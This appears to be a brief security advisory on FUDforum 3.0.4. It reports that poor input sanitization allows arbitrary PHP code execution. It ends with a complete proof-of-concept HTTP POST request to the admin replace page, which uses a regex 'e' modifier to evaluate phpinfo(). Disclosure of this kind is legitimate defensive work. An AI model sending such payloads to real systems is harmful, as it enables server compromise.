source: https://www.securityfocus.com/bid/58845/info

FUDforum is prone to multiple vulnerabilities that attackers can leverage to execute arbitrary PHP code because the application fails to adequately sanitize user-supplied input.

Attackers may exploit these issues to execute arbitrary PHP code within the context of the affected application. Successful attacks can compromise the affected application and possibly the underlying computer.

FUDforum 3.0.4 is vulnerable; other versions may also be affected. 

POST /adm/admreplace.php HTTP/1.1
Host: fudforum
Referer: http://www.example.com/fudforum/adm/admreplace.php?&SQ=8928823a5edf50cc642792c2fa4d8863
Cookie: fud_session_1361275607=11703687e05757acb08bb3891f5b2f8d
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 111
SQ=8928823a5edf50cc642792c2fa4d8863&rpl_replace_opt=0&btn_submit=Add&btn_regex=1&edit=&regex_ str=(.*)&regex_str_opt=e&regex_with=phpinfo()